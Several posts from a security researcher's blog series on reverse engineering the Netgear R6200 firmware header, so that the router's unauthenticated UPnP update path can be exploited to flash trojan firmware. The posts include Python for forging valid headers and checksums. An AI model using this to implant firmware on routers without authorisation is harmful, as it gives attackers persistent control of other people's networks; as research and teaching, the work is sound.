<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16784491922" style="margin-left: 1em; margin-right: 1em;" title="Not ambit image by Zachary Cutlip, on Flickr"><img alt="Not ambit image" height="158" src="https://farm8.staticflickr.com/7591/16784491922_dda5bff9f8.jpg" width="500" /></a></div>
<br />
<br />
At 0x00423088 there is an error message that we didn't see in <code>httpd</code>: "Not Ambit image ... reject!!!". This is the first indication of any sort of name for this file format. This explains why you may have noticed references to "ambit" or "ambit header" in previous code fragments I've posted.<br />
<br />
In the <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-09.html">next part</a>, we get close to writing the firmware image to flash memory. We'll have to do some binary patching to work around the fact that QEMU doesn't actually have flash memory.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-19278261216622337912015-06-08T06:31:00.000-07:002015-06-09T09:14:38.699-07:00Broken, Abandoned, and Forgotten Code, IntermissionWe're about halfway through the <a href="http://shadow-file.blogspot.com/2015/04/broken-abandoned-and-forgotten-code_22.html">Broken, Abandoned</a> series, so this is a good time to pause for a minute and take stock. At this point, things have gotten pretty technical; if you've only joined recently, you may be wondering what this series is about. I want to take a moment to summarize where we've been and where we can expect to go from here.<br />
<div>
<br /></div>
<h3>
Overview</h3>
This series, entitled <i>Broken, Abandoned, and Forgotten Code</i>, is about an unauthenticated firmware update mechanism in the Netgear R6200 wireless router's UPnP service. Bypassing authentication and updating the firmware would be moderately interesting by itself. What makes this particularly interesting, however, is this capability appears only partially implemented. It's not quite dead code; more like zombie code. It's wired up just enough to <i>kind of</i> work. There are many artifacts of incomplete implementation that stand in the way of straightforward exploitation.<br />
<br />
The goal: build an exploit that accounts for the many implementation bugs, which then updates the target with a custom firmware, giving us persistent control over the target device. This, of course, requires not just building the exploit, but specially crafting a firmware image.<br />
<br />
<h3>
Where We've Been</h3>
<div>
Here's a summary of what we've covered in the series up to now.</div>
<br />
<div>
<ul>
<li><a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-01.html">Part 1</a>, <a href="http://shadow-file.blogspot.com/2015/04/abandoned-part-02.html">part 2</a>: Introduced the hidden <code>SetFirmware</code> SOAP action as well as the weird timing games needed to exploit it. We reverse engineered what HTTP headers are required to exercise this code path.</li>
<li><a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-03.html">Part 3</a>: We reverse engineered what the body of the <code>SetFirmware</code> SOAP request should look like.</li>
<li><a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-04.html">Part 4</a>: We discovered a crash when attempting to update to a stock firmware downloaded from Netgear's support website. The crash is due to an undersized memory allocation. We will have to shrink the firmware from nearly 9MB to 4MB in order to exploit the <code>SetFirmware</code> vulnerability.</li>
<li><a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-05.html">Part 5</a>, <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-06.html">part 6</a>, & <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-07.html">part 7</a>: It will be necessary to specially craft a firmware image if we are to take control of the target, so we reverse engineered the mystery 58-byte header at the beginning of the stock image. Because <code>upnpd</code> is so broken, we instead analyzed <code>httpd</code>, knowing that it can update a well-formed firmware image without crashing.</li>
</ul>
<br />
<ul></ul>
</div>
<div>
<h3>
Where We're Going</h3>
</div>
<div>
From here there are still a number of challenges. We'll need to spend more time analyzing <code>upnpd</code>; it may not even be able to update the firmware without crashing (spoiler alert: it is). Even if it can, there may be differences in the firmware format as expected by <code>upnpd</code> vs the standard format parsed by <code>httpd</code>.</div>
<div>
<br /></div>
<div>
Assuming we can get through <code>upnpd</code>'s update process, there remains the problem from <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-04.html">part 4</a>: a firmware image greater than 4MB crashes <code>upnpd</code>. We'll need to spend some time shrinking the firmware from nearly 9MB to 4MB or less.</div>
<div>
<br /></div>
<div>
Any project involving reverse engineering and customizing firmware will, at some point, result in bricked hardware. We'll devote an installment to discovering the hidden UART connection inside the R6200 that will enable recovery in the likely case of a bad firmware update.<br />
<br /></div>
<div>
One installment will cover a <code>upnpd</code> crash after the firmware update process but before reboot. I'll discuss how to customize the firmware header to avoid the crash.<br />
<br /></div>
<div>
The stage 1 firmware has a few things it must do autonomously if it is to reboot into a trojan stage 2. I'll discuss those things and how to accomplish them.<br />
<br /></div>
<div>
We'll close out with an installment on post-exploitation. Once you're as far as customizing your own firmware and getting it onto your target, the world is your oyster. We'll discuss a simple technique that will yield remote, post-exploitation access, even from behind a firewall.</div>
<br />
While you're waiting here's a video of the exploit in action I shared in the <a href="http://shadow-file.blogspot.com/2015/04/broken-abandoned-and-forgotten-code_22.html">prologue</a>. In the left terminal you see what's going on under the hood via the serial console. In the right terminal, you see the actual exploitation taking place. Also, there's cool music.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="281" mozallowfullscreen="" src="https://player.vimeo.com/video/125468293" webkitallowfullscreen="" width="500"></iframe> <br />
<a href="https://vimeo.com/125468293">R6200 Firmware Upload</a> from <a href="https://vimeo.com/user9824463">Zach</a> on <a href="https://vimeo.com/">Vimeo</a>.<br />
<br />
<div>
<br />
<h3>
More to Come, so Stay Tuned</h3>
</div>
<div>
Take a moment to go out to the lobby, stretch your legs, and use the facilities. We've covered a lot, but we're only halfway through. There's a lot more fun on the way, starting with Part 8!</div>
<div>
<br /></div>
Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-52448602723935254302015-06-04T10:37:00.000-07:002015-06-04T13:31:48.329-07:00Broken, Abandoned, and Forgotten Code, Part 7In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-06.html">previous post</a>, I finished discussing the <code>abCheckBoardID()</code> function. I called attention to a checksum in the header generated by an unknown algorithm. I provided a python implementation of that algorithm ported from IDA disassembly. In total, I identified four fields parsed by this function, accounting for 30 bytes of the 58 byte header.<br />
<br />
In this part I'll give an overview of the remaining functions that parse and validate the firmware header. By the end we will be able to generate a header that allows the firmware to be programmed to flash memory. I won't discuss each header field in quite as much detail as I did previously, but if you've made it this far, it shouldn't be too hard to understand how each field is used.<br />
<br />
<h3>
Updated Exploit Code</h3>
The update to the exploit code for Part 6 added a module to regenerate a checksum found in the header. This update populates a couple of additional checksums as well as a few other fields. The code provided for Part 7 is sufficient to generate a firmware header that will pass the web server's validation. Given a valid kernel and filesystem image, you should be able to generate a firmware image that the web interface will happily upgrade to. If you've previously cloned the repository, now would be a good time to do a pull. You can clone the git repo from:<br />
<a href="https://github.com/zcutlip/broken_abandoned">https://github.com/zcutlip/broken_abandoned</a><br />
<br />
<h3>
Of Checksums and Sizes</h3>
After the <code>abCheckBoardID()</code> function (discussed in part 6) there are a few more functions that parse or validate portions of the header. Identifying these fields and their purpose is challenging due to the fact that values may be parsed out in one function, but not used until some other function or functions, if at all.<br />
<br />
The two functions that parse out values from the header are <code>upgradeCgi_setImageInfo()</code> at 0x004356B0 and <code>upgradeCgiCheck()</code> at 0x004361F8. The "setImageInfo" function is a short one. It parses several header fields, but it doesn't inspect or use any of them. The values are stored in global variables for later use. You can identify offsets of these fields using string patterns as described previously. As you identify these locations where the parsed values are located, rename the variables in IDA to something more meaningful, so you can identify them later when they are used. I renamed them to correspond with the offsets they were parsed from.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16710519325" style="margin-left: auto; margin-right: auto;" title="upgradeCgi_setImageInfo by Zachary Cutlip, on Flickr"><img alt="upgradeCgi_setImageInfo" height="495" src="https://farm9.staticflickr.com/8602/16710519325_6cc2a79794.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Renaming global variables corresponding to header offsets.</td></tr>
</tbody></table>
The <code>upgradeCgiCheck()</code> function validates a few fields parsed out previously. At 0x004362BC we see the return of our friend, <code>calculate_checksum()</code>. This time the checksum is computed across more than just the firmware header. At the "update" step, the data argument points to the "<code>HDR0</code>" portion of the firmware. This suggests the checksum is across the TRX image that follows the 58 byte header. The size argument is the sum of the values found at offsets 24 and 28. Inspecting the values at those positions in a stock firmware, we see 0x00871000 at offset 24, and 0x0 at offset 28. It's clear that bytes 24 - 27 are the size of the firmware image minus the 58 bytes at the start. Based on its use here, the bytes 28 - 31 are also a size of some sort.<br />
<br />
At any rate, the size passed to <code>calculate_checksum()</code> at the update stage at 0x004362DC is the size of the TRX image. At 0x0043630C, the checksum is compared to the value taken from offset 32. We now know three more fields in the firmware header: offsets 24, 28, and 32. That's 42 bytes down, 16 to go.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16714470941" style="margin-left: auto; margin-right: auto;" title="checksuming TRX image by Zachary Cutlip, on Flickr"><img alt="checksuming TRX image" height="341" src="https://farm9.staticflickr.com/8632/16714470941_08606eaace.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Checksum of the firmware's TRX image.</td></tr>
</tbody></table>
<br />
<br />
We're not done with checksums just yet. The basic block at 0x0043643C is another checksum operation. Once again the data points to "<code>HDR0</code>", but the size is only the value from offset 24. The size from offset 28 is not used this time. The checksum result is the same as before, but this time compared to the value at offset 16. We now know the checksum we compute and store at offset 32 must also be stored at offset 16.<br />
<br />
At this point we can speculate this firmware format supports multiple partitions or sections. The value at offset 24 would be the size of partition 1, and offset 28 would be the size of partition 2. The checksum at offset 16 would be calculated over partition 1, and offset 32's checksum would be calculated over partitions 1 and 2 combined.<br />
<br />
We're now down to 12 unidentified bytes. Let's have a look at an updated header diagram to see how things look.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16512096987" style="margin-left: auto; margin-right: auto;" title="header diagram 2 by Zachary Cutlip, on Flickr"><img alt="header diagram 2" height="500" src="https://farm9.staticflickr.com/8663/16512096987_df197490e0.jpg" width="223" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">What we know so far about the firmware header.</td></tr>
</tbody></table>
<br />
<br />
The diagram is starting to fill in, and things are looking quite a bit better.<br />
<br />
<h3>
Version String</h3>
Moving on, at 0x00436580, more data is parsed out of the firmware image. This time the values are pulled out one byte at a time. This frustrates the technique of using the 3+ byte patterns to identify offsets. Based on the format strings from subsequent <code>sscanf()</code> and <code>sprintf()</code> operations, we can speculate that these values are transformed in some way into the version string displayed in the web interface.<br />
<br />
Although the version string ends up being only cosmetic, and not an essential part of the firmware validation, it's still interesting enough to discuss here. Modifying the version string would be a nice way to visually demonstrate that the target is, in fact, running your custom firmware, and not the stock firmware.<br />
[<b>Update:</b> <i>Turns out this isn't quite right. There is a string table stored in flash memory that also contains the version string, and that string is displayed in the web interface. The version field in the firmware header is only (as far as I can tell) rendered during the update process so the user can see what version they're updating to.</i>]<br />
<br />
It took some debugging, but it turns out the single byte values that compose the version string don't actually get used until a few functions later, in <code>upgradeCgi_GetParam()</code> at 0x00436B4C.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16528624860" style="margin-left: 1em; margin-right: 1em;" title="generating firmware version string by Zachary Cutlip, on Flickr"><img alt="generating firmware version string" height="237" src="https://farm9.staticflickr.com/8571/16528624860_8e0e1c4763.jpg" width="500" /></a></div>
<br />
<br />
What is happening here is a version string is being generated to display in the web browser so that the user can confirm what version of the firmware they're about to upgrade to.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16512160147" style="margin-left: 1em; margin-right: 1em;" title="Firmware Version String by Zachary Cutlip, on Flickr"><img alt="Firmware Version String" height="267" src="https://farm9.staticflickr.com/8656/16512160147_4ba87acec2.jpg" width="500" /></a></div>
<br />
<br />
The version string "V65.97.51.65_97.52.65" from the screenshot above appears to be composed of the decimal representations of ASCII characters from Bowcaster's pattern string. We can be sure by replacing bytes 8 - 15 with a string of non-repeating characters: "stuvwxyz". When we do this, the version string becomes "V116.117.118.119_120.121.122". This confirms the hypothesis; these are the decimal representations for t,u,v,w,x,y, and z. Note that "s" is not included. Even though byte 8 was parsed out along with the rest, it appears to go unused.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16719494705" style="margin-left: 1em; margin-right: 1em;" title="Firmware Version String 2 by Zachary Cutlip, on Flickr"><img alt="Firmware Version String 2" height="267" src="https://farm9.staticflickr.com/8677/16719494705_1094dde25e.jpg" width="500" /></a></div>
<br />
We can now update the header diagram to reflect the version bytes.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16718589512" style="margin-left: 1em; margin-right: 1em;" title="header diagram 3 by Zachary Cutlip, on Flickr"><img alt="header diagram 3" height="500" src="https://farm9.staticflickr.com/8611/16718589512_239d1d166b.jpg" width="223" /></a></div>
<br />
<br />
<h3>
(Mostly) Complete Firmware Header</h3>
The header diagram now has only 4 bytes (5 if you count the unused version byte at offset 8) that haven't been identified. It's unclear what these bytes are for, since they are never inspected. A likely explanation is that a checksum for theoretical partition 2 belongs at offset 20. The stock firmware has 0x0 at offset 20, which jives with a partition 2 size of 0. At any rate, this header is sufficient for execution to reach the point where the uploaded firmware gets written to <code>/dev/mtd1</code>.<br />
<br />
WARNING: <i>If you are debugging httpd on on actual hardware rather than in emulation, there's a chance your router will end up bricked if you attempt to upgrade to a customer firmware image. Eventually, we must test on actual hardware, but before then, I'll describe how to access the device's serial console using a UART to USB cable. Using the serial console, you can recover from a bad firmware update, a feature I had to use many times during my original research.</i><br />
<br />
In the next part, with a better understanding of the firmware format, we'll loop back to the UPnP daemon and pick up where we left off there. Wouldn't it be nice if we could use the now documented header format to generate a firmware that will work with the UPnP daemon using our existing exploit code?Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-19189574056291137822015-05-28T08:26:00.000-07:002015-06-04T13:32:33.583-07:00Broken, Abandoned, and Forgotten Code, Part 6<b>Note:</b> <i>It is assumed that the reader is debugging the processes described in this and the next several posts using emulation and IDA Pro. Those topics are outside the scope of this series and are covered in detail <a href="http://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html">here</a> and <a href="http://shadow-file.blogspot.com/2015/01/patching-emulating-and-debugging.html">here</a>.</i><br />
<br />
In the <a href="http://shadow-file.blogspot.com/2015/05/abandoned-part-05.html">previous post</a>, we switched gears and started looking at the web server for the Netgear R6200. That's because the HTTP daemon's code for upgrading the firmware is less broken and easier to analyze. We also analyzed a stock firmware image downloaded from Netgear to see how it is composed. Craig Heffner's binwalk identified three parts, a TRX header at offset 58, followed by a compressed Linux kernel, followed by a squashfs filesystem. All of those parts are well understood, which only leaves the first 58 bytes to analyze.<br />
<br />
With the goal of recreating the header using a stock TRX header, Linux kernel, and filesystem, I described how we can use <a href="https://github.com/zcutlip/bowcaster">Bowcaster</a> to create fake header data to aid in debugging. When we left off, I had started discussing httpd's <code>abCheckBoardID()</code> function at 0x0041C3D8, which partially parses the firmware header. We identified a magic signature that should be at the firmware image's offset 0, as well as some sort of size field that should be at offset 4. We also discovered this header should be big endian encoded even though the target system is little endian.<br />
<br />
In this part, we'll clarify the purpose of the size field as well as identify a checksum field. Identification of the checksum algorithm is tricky if you don't have an eye for that sort of thing (I do not). I'll show how to deal with that. By the end of this part, we will have identified four fields, accounting for 30 bytes of the 58-byte firmware header.<br />
<br />
<h3>
Updated Exploit Code</h3>
I last updated the exploit code for part 5, which added several Python modules to aid in reverse engineering and reconstructing a firmware image. In this part I've added a module to regenerate checksums found in the header (see below). Additionally, the MysteryHeader class populates a couple of new fields that we will cover this post. If you've previously cloned the repository, now would be a good time to do a pull. You can clone the git repo from:<br />
https://github.com/zcutlip/broken_abandoned<br />
<br />
<h3>
Header Size</h3>
We know the field at offset 4 is a size field of some sort because it's used as the size for a <code>memcpy()</code> operation[1]. Let's take a look at a stock firmware image to see what value is in that field. It might correlate to something obvious.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/15883485464" style="margin-left: 1em; margin-right: 1em;" title="stock firmware hex dump by Zachary Cutlip, on Flickr"><img alt="stock firmware hex dump" height="438" src="https://farm9.staticflickr.com/8650/15883485464_524a211c7b.jpg" width="500" /></a></div>
<br />
Above, we see the stock value is 0x0000003A, or 58 in decimal. Since 58 is also the amount of unidentified data before the TRX header, it's a safe bet this field is the overall size of this unidentified header. It's also a safe bet that this header is variable in size. The TRX header, whose size is fixed, does not have a size field for the header alone, only for the header plus data.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16410564619" style="margin-left: auto; margin-right: auto;" title="call to calculate_checksum() by Zachary Cutlip, on Flickr"><img alt="call to calculate_checksum()" height="324" src="https://farm8.staticflickr.com/7291/16410564619_dd2735a702.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Checksumming the firmware header.</td></tr>
</tbody></table>
<br />
<h3>
Checksum Fun</h3>
From <code>abCheckBoardID()</code> there are several calls to the <code>calculate_checksum()</code> function. This is an imported symbol and is not in the httpd binary itself. Strings analysis of libraries on the R6200's filesystem reveals that this function is in the shared library <code>libacos_shared.so</code>. We can disassemble this binary and analyze the function.<br />
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/16595792122" style="margin-left: auto; margin-right: auto;" title="libacos_shared.so calculate_checksum() by Zachary Cutlip, on Flickr"><img alt="libacos_shared.so calculate_checksum()" height="257" src="https://farm9.staticflickr.com/8665/16595792122_2a284752fa.jpg" width="500" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Disassembly of calculate_checksum().</td></tr>
</tbody></table>
There's no need to completely reverse engineer this function. Sure, it would be convenient to know what checksum algorithm this is[2] and if there was a built-in python module to use. All we really need, however, is code that calculates the same values this function does. It's easier in this case to just reimplement the algorithm. I duplicated this function one-for-one, where each line of MIPS disassembly became a line of Python. It's a small function, so it didn't take long to do. That module is included in this week's update to the git repo.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://www.flickr.com/photos/99298302@N02/18119797982" style="margin-left: auto; margin-right: auto;" title="Checksum Python reimplementation by Zachary Cutlip, on Flickr"><img alt="Checksum Python reimplementation" height="301" src="https://c4.staticflickr.com/8/7688/18119797982_11a25cbd2b_k.jpg" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Python code fragment that looks suspiciously like IDA Pro disassembly.</td></tr>
</tbody></table>
<br />
<br />
<div>
A checksum is calculated across the first 58 bytes of the header. Then at 0x0041C5BC the checksum gets compared to 0x41623241, a value extracted from the firmware data. Using Bowcaster's <code>find_offset()</code>, it is revealed that offset 36 of the firmware header should contain the checksum of the header itself. We'll need to calculate that value for the header and insert it at this location. In <code>abCheckBoardID()</code> the checksum field is zeroed out before the value is calculated. We should do the same before calculating our own. The updated code in the git repository performs this operation.</div>
<div>
<br />
<h3>
Board ID String</h3>
With the header checksum in place, we can move forward to the next few basic blocks. A few checks are performed to verify the "board_id" string of the firmware. There are a couple of hard-coded board_id strings that are referenced. If neither of those match, NVRAM is queried to find out the running device's board_id. It's possible to verify the proper board ID is "U12H192T00_NETGEAR" by extracting the NVRAM parameters from a live device[3]. Even if we didn't have that information, we could still analyze a stock firmware, where we find the same string embedded in the header.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16451826840" style="margin-left: 1em; margin-right: 1em;" title="R6200-V1.0.0.28_1.0.24.chk by Zachary Cutlip, on Flickr"><img alt="R6200-V1.0.0.28_1.0.24.chk" height="493" src="https://farm9.staticflickr.com/8661/16451826840_8e96775af5.jpg" width="500" /></a></div>
<br />
<br />
As before, by looking at the pattern string that is compared, we can identify the offset into the header where the board_id should be placed.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16609754386" style="margin-left: 1em; margin-right: 1em;" title="strcmp board_id by Zachary Cutlip, on Flickr"><img alt="strcmp board_id" height="168" src="https://farm9.staticflickr.com/8631/16609754386_1713ab9abd.jpg" width="500" /></a></div>
</div>
<div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #aaaaaa;">$</span> ./buildfw.py <span style="color: #40ffff;">find</span><span style="color: #d0d0d0;">=</span>b3Ab4Ab5Ab6Ab7Ab8A kernel.lzma squashfs.bin
<span style="color: #cccccc;"> [@] Building firmware from input files: ['kernel.lzma', 'squashfs.bin']</span>
<span style="color: #cccccc;"> [@] TRX crc32: 0x0ee839c0</span>
<span style="color: #cccccc;"> [@] Creating ambit header.</span>
<span style="color: #cccccc;"> [+] Building header without checksum.</span>
<span style="color: #cccccc;"> [+] Calculating header checksum.</span>
<span style="color: #cccccc;"> [@] Calculated header checksum: 0x840d0ddd</span>
<span style="color: #cccccc;"> [+] Building header with checksum.</span>
<span style="color: #cccccc;"> [@] Finding offset of b3Ab4Ab5Ab6Ab7Ab8A</span>
<span style="color: #cccccc;"> [+] Offset: 40</span>
</pre>
</div>
<br />
<br />
The string b3Ab4Ab5Ab6Ab7Ab8A is located at offset 40.<br />
<br />
It is worth noting that we suspected the header was variable length given the presence of a size field. The board_id is a string and is the last field in the header; it is likely responsible for the header's variable length.<br />
<br />
At any rate, this is easy to add as a string section using Bowcaster. This is the last check in <code>abCheckBoardID()</code>.<br />
<br />
<h3>
The Mystery Header So Far</h3>
Here's a diagram of what we know about the header so far.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16671658990" title="header diagram 1 by Zachary Cutlip, on Flickr"><img alt="header diagram 1" height="640" src="https://c1.staticflickr.com/9/8642/16671658990_fa0212bc0b_z.jpg" width="285" /></a></div>
<br />
<br />
That's four fields identified, for a total of 30 bytes. 28 bytes remain. Although the <code>abCheckBoardID()</code> function only inspected these four fields, it did populate several integers in the global header_buf structure. It remains to be seen how these fields get used.<br />
<br />
Based on this information we can enhance the Python code to add the necessary fields. Updated code in part_6 of the git repo looks similar to:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #202020; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">OverflowBuffer</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.development</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">SectionCreator</span>
<span style="color: #6ab825; font-weight: bold;">class</span> <span style="color: #447fcf; text-decoration: underline;">MysteryHeader</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">object</span><span style="color: #d0d0d0;">):</span>
<span style="color: #d0d0d0;">MAGIC=</span><span style="color: #ed9d13;">"*#$^"</span>
<span style="color: #d0d0d0;">MAGIC_OFF=</span><span style="color: #3677a9;">0</span>
<span style="color: #d0d0d0;">HEADER_SIZE=</span><span style="color: #3677a9;">58</span>
<span style="color: #d0d0d0;">HEADER_SIZE_OFF=</span><span style="color: #3677a9;">4</span>
<span style="color: #d0d0d0;">HEADER_CHECKSUM_OFF=</span><span style="color: #3677a9;">36</span>
<span style="color: #d0d0d0;">BOARD_ID=</span><span style="color: #ed9d13;">"U12H192T00_NETGEAR"</span>
<span style="color: #d0d0d0;">BOARD_ID_OFF=</span><span style="color: #3677a9;">40</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__init__</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,endianness,image_data,size=HEADER_SIZE,board_id=BOARD_ID,logger=</span><span style="color: #24909d;">None</span><span style="color: #d0d0d0;">):</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.endianness=endianness</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.size=size</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.board_id=board_id</span>
<span style="color: #d0d0d0;">chksum=</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">;</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Building header without checksum."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">header=</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.__build_header(checksum=chksum,logger=logger)</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Calculating header checksum."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">chksum=</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.__checksum(header)</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Building header with checksum."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">header=</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.__build_header(checksum=chksum,logger=logger)</span>
<span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.header=header</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__build_header</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,checksum=</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">,logger=</span><span style="color: #24909d;">None</span><span style="color: #d0d0d0;">):</span>
<span style="color: #d0d0d0;">SC=SectionCreator(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.endianness,logger=logger)</span>
<span style="color: #d0d0d0;">SC.string_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.MAGIC_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.MAGIC,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"Magic bytes for header."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">SC.gadget_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.HEADER_SIZE_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.size,</span><span style="color: #ed9d13;">"Size field representing length of header."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">SC.gadget_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.HEADER_CHECKSUM_OFF,checksum)</span>
<span style="color: #d0d0d0;">SC.string_section(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.BOARD_ID_OFF,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.board_id,</span>
<span style="color: #d0d0d0;">description=</span><span style="color: #ed9d13;">"Board ID string."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">buf=OverflowBuffer(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.endianness,</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">.size,</span>
<span style="color: #d0d0d0;">overflow_sections=SC.section_list,</span>
<span style="color: #d0d0d0;">logger=logger)</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">__checksum</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">self</span><span style="color: #d0d0d0;">,header):</span>
<span style="color: #d0d0d0;">data=</span><span style="color: #24909d;">str</span><span style="color: #d0d0d0;">(header)</span>
<span style="color: #d0d0d0;">size=</span><span style="color: #24909d;">len</span><span style="color: #d0d0d0;">(data)</span>
<span style="color: #d0d0d0;">chksum=LibAcosChecksum(data,size)</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #d0d0d0;">chksum.checksum</span>
</pre>
</div>
<br />
In the <a href="http://shadow-file.blogspot.com/2015/06/abandoned-part-07.html">next post</a> I'll discuss other functions that parse portions of the header. I'll show how to identify what fields get used where. By the end of the next installment we'll be able to generate a header sufficient to get our firmware image written to flash.<br />
<br />
-------------------------------<br />
[1] Wah wah...Buffer overflow.<br />
[2] I'm pretty sure it's <a href="http://en.wikipedia.org/wiki/Fletcher's_checksum">Fletcher32</a>. I believe this because I asked <a href="https://twitter.com/justdionysus">Dion Blazakis</a>, and he thinks it is, and that dude is smart. Also I found a Fletcher32 <a href="https://code.google.com/p/kabopan/source/browse/branches/wip/checksum/?r=41#checksum%253Fstate%253Dclosed">implementation</a> on Google Code by <a href="https://twitter.com/angealbertini">Ange Albertini</a> that gives the same result as mine. And that guy is also smart.</div>
<div>
[3] The NVRAM configuration can be extracted from /dev/mtd14. This, plus libnvram-faker is covered independently of this series, in <a href="http://shadow-file.blogspot.com/2015/01/patching-emulating-and-debugging.html">Patching, Emulating, and Debugging a Netgear Embedded Web Server</a></div>
